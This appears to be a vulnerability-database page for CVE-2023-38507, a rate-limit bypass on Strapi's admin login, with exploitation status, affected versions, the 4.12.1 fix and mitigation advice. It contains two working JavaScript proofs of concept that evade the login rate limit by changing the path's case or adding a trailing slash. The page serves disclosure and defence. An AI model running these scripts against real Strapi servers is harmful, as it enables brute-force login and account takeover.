CVE-2023-38507 — @strapi/admin
HIGHCVE-2023-38507 is a high-severity (CVSS 7.3) CWE-770 vulnerability in @strapi/admin. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for @strapi/admin — see the affected versions and patch details below.
Strapi Improper Rate Limiting vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-38507.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@strapi/adminnpm@strapi/plugin-users-permissionsnpmDescription
1. Summary
There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.
2. Details
It is possible to avoid this by modifying the rate-limited request path as follows.
- Manipulating request paths to upper or lower case. (Pattern 1)
- In this case, avoidance is possible with various patterns.
- Add path slashes to the end of the request path. (Pattern 2)
3. PoC
Access the administrator's login screen (/admin/auth/login) and execute the following PoC on the browser's console screen.
Pattern 1 (uppercase and lowercase)
// poc.js
(async () => {
const data1 = {
email: "[email protected]", // registered e-mail address
password: "invalid_password",
};
const data2 = {
email: "[email protected]",
password: "RyG5z-CE2-]*4e4", // correct password
};
for (let i = 0; i < 30; i++) {
await fetch("http://localhost:1337/admin/login", {
method: "POST",
body: JSON.stringify(data1),
headers: {
"Content-Type": "application/json",
},
});
}
const res1 = await fetch("http://localhost:1337/admin/login", {
method: "POST",
body: JSON.stringify(data2),
headers: {
"Content-Type": "application/json",
},
});
console.log(res1.status + " " + res1.statusText);
const res2 = await fetch("http://localhost:1337/admin/Login", { // capitalize part of path
method: "POST",
body: JSON.stringify(data2),
headers: {
"Content-Type": "application/json",
},
});
console.log(res2.status + " " + res2.statusText);
})();
This PoC does the following:
- Request 30 incorrect logins.
- Execute the same request again and confirm that it is blocked by rate limit from the console screen. (
429 Too Many Requests) - Next, falsify the pathname of the request (
/admin/Login) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)
Pattern 2 (trailing slash)
// poc.js
(async () => {
const data1 = {
email: "[email protected]", // registered e-mail address
password: "invalid_password",
};
const data2 = {
email: "[email protected]",
password: "RyG5z-CE2-]*4e4", // correct password
};
for (let i = 0; i < 30; i++) {
await fetch("http://localhost:1337/admin/login", {
method: "POST",
body: JSON.stringify(data1),
headers: {
"Content-Type": "application/json",
},
});
}
const res1 = await fetch("http://localhost:1337/admin/login", {
method: "POST",
body: JSON.stringify(data2),
headers: {
"Content-Type": "application/json",
},
});
console.log(res1.status + " " + res1.statusText);
const res2 = await fetch("http://localhost:1337/admin/login/", { // trailing slash
method: "POST",
body: JSON.stringify(data2),
headers: {
"Content-Type": "application/json",
},
});
console.log(res2.status + " " + res2.statusText);
})();
This PoC does the following:
- Request 30 incorrect logins.
- Execute the same request again and confirm that it is blocked by rate limit from the console screen. (
429 Too Many Requests) - Next, falsify the pathname of the request (
/admin/login/) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)
PoC Video
4. Impact
It is possible to bypass the rate limit of the login function of the admin screen. Therefore, the possibility of unauthorized login by login brute force attack increases.
5. Measures
Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (ctx.request.path)
Also, remove any extra slashes in the request path.
6. References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @strapi/admin | all versions | 4.12.1npm install @strapi/admin@4.12.1 |
| 📦npm | @strapi/plugin-users-permissions | all versions | 4.12.1npm install @strapi/plugin-users-permissions@4.12.1 |
Affected Products
strapistrapiResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @strapi/admin, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @strapi/admin to 4.12.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-38507 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2023-38507 in your dependencies?
Find it across npm, including transitive dependencies.